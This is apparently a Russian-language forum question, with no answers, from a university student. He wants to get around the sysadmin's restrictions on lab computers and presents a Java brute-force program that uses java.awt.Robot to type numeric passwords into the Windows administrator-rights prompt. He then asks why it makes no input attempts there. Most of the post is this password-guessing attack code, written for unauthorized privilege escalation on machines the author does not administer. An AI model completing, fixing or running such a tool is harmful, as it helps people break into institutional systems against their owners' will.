Robot не хочет работать когда запущено окно запроса прав администратора

В вузе у нас - рядовых пользователей на компах ограниченный функционал, сис админ запретил буквально всё, даже разрешение экрана поменять нельзя, я решил написать на Java программу брутфорса паролей

private static int backgroundColor; // ЦВЕТ ФОНА ПРИ ОКНЕ ЗАПРОСА ПРАВ АДМИНИСТРАТОРА (ПОДОБРАЛ ОПЫТНЫМ ПУТЁМ И ПРОВЕРИЛ)
private static String ALPHABET; // АЛФАВИТ СИМВОЛОВ ИЗ КОТОРЫХ БУДЕТ ПЕРЕБИРАТЬСЯ ПАРОЛЬ

public static void main(String[] args){
    ALPHABET = "0123456789";
    int length = 1; // ДЛИНА ПАРОЛЯ

    try{
        hack(length); // ВЫЗЫВАЕМ МЕТОД ПОДБИРАЮЩИЙ ПАРОЛИ С ЗАДАННОЙ ДЛИННОЙ
    } catch(Exception e){
        System.out.print("Error"); // ПРИ КАКОМ ЛИБО СБОЕ
    }
}



private static void hack(int length) throws Exception{
    
    Thread.sleep(7000); // ВРЕМЯ ДЛЯ ТОГО ЧТО-БЫ УСПЕТЬ ПОСЛЕ ЗАПУСКА ОТКРЫТЬ ЧТО ТО - ЧТО ТРЕБУЕТ АДМИНКИ И ДЛЯ ВВОДА ЛОГИНА, ПОСЛЕ ЧЕГО НАЧНЁТСЯ ПЕРЕБОР
    Robot robot = new Robot(); // ОБЪЕКТ, ИМИТИРУЮЩИЙ НАЖАТИЯ

    backgroundColor = -16777216; // КОД ЦВЕТА ФОНА ПРИ ОТКРЫТОМ ОКНЕ ЗАПРОСА АДМИНКИ
    brutForce("",length, robot); // ВЫЗОВ МЕТОДА ПЕРЕБОРА ПАРОЛЕЙ
}

private static void brutForce(String str, int length, Robot robot) throws Exception{ // РЕКУРСИВНАЯ ФУНКЦИЯ ПЕРЕБИРАЮЩАЯ ПАРОЛИ
    if(str.length() == length) tryToLogin(str, robot); // ЕСЛИ ДЛИНА ПОДАВАЕМОГО ЗНАЧЕНИЯ РАВНА ЗАДАННОЙ ПОЛЬЗОВАТЕЛЕМ ДЛИНЕ ПАРОЛЯ, ВЫЗЫВАЕМ ФУНКЦИЮ ПОПЫТКИ ВХОДА С ДАННЫМ ПОДОБРАННЫМ ПАРОЛЕМ(СТОП-УСЛОВИЕ РЕКУРСИИ)
    else {
        for(char s : ALPHABET.toCharArray()){
            brutForce(str+s, length, robot); // ИНАЧЕ ДАЛЬШЕ УГЛУБЛЯЕМСЯ В РЕКУРСИЮ, ПРИ ЭТОМ ДОБАВЛЯЯ К УЖЕ НЕ ДО КОНЦА СГЕНЕРИРОВАННОМУ ПАРОЛЮ ВСЕ ВОЗМОЖНЫЕ ВАРИАНТЫ
        }
    }
}

private static void tryToLogin(String password, Robot robot) throws Exception{
    Thread.sleep(30); // ВРЕМЯ ЗАДЕРЖКИ(ЧТОБ ПАРОЛИ НЕ МОМЕНТАЛЬНО ПРОБОВАЛИСЬ)
    wordType(robot, password); //ВВОД ПАРОЛЯ
    robot.keyPress(KeyEvent.VK_ENTER);   // *
    robot.keyRelease(KeyEvent.VK_ENTER); // * НАЖАТИЕ НА ENTER (ПРОБКЕМ ПАРОЛЬ)
    if(!isAdminWindow()) System.out.println("Found!!! "+password); // ЕСЛИ ЦВЕТ ФОНА ИЗМЕНИЛСЯ - МЫ ВЫШЛИ ИЗ ОКНА, А ЗНАЧИТ ВВЕЛИ ПРАВИЛЬНЫЙ ПАРОЛЬ - ВЫВОДИМ ЕГО
}

private static boolean isAdminWindow() throws Exception{
    Robot r = new Robot();
    BufferedImage eq = r.createScreenCapture(new Rectangle(0,0,100,100));
    return eq.getRGB(20,20) == backgroundColor; // ПРОВЕРЯЕМ ЦВЕТ ПИКСЕЛЯ С КООРДИНАТАМИ (20,20) С ПОДОБРАННЫМ РАНЕЕ ОПЫТНЫМ ПУТЁМ, ЦВЕТОМ ФОНА
}

private static void wordType(Robot robot, String str){ // ПЕЧАТАЕТ СЛОВО, МОМЕНТАЛЬНО ПО ОЧЕРЕДИ ПЕЧАТАЯ КАЖДУЮ БУКВУ
    HashMap<Character, Integer> keyCods = new HashMap<>(); // КОЛЛЕКЦИЯ КОДОВ КЛАВИШ ПО ИХ СИМВОЛУ
    keyCods.put('0',KeyEvent.VK_0);
    keyCods.put('1',KeyEvent.VK_1);
    keyCods.put('2',KeyEvent.VK_2);
    keyCods.put('3',KeyEvent.VK_3);
    keyCods.put('4',KeyEvent.VK_4);
    keyCods.put('5',KeyEvent.VK_5);
    keyCods.put('6',KeyEvent.VK_6);
    keyCods.put('7',KeyEvent.VK_7);
    keyCods.put('8',KeyEvent.VK_8);
    keyCods.put('9',KeyEvent.VK_9);


    char[] symbols = str.toCharArray();
    for(char current_symbol : symbols){
        robot.keyPress(keyCods.get(current_symbol));
        robot.keyRelease(keyCods.get(current_symbol));
    }
}

И она работает! везде где можно печатать, она печатает, работает... Везде, но только не там где надо, когда я её запускаю, у меня есть 7 секунд чтоб открыть окно запроса прав администратора и ввести логин, я всё быстренько сделал, сижу жду.. и ничего, программа не сделала ни одной попытки ввода и закрылась, никаких сообщений об ошибке я не получал

С чем это может быть связанно???


Ответы (0 шт):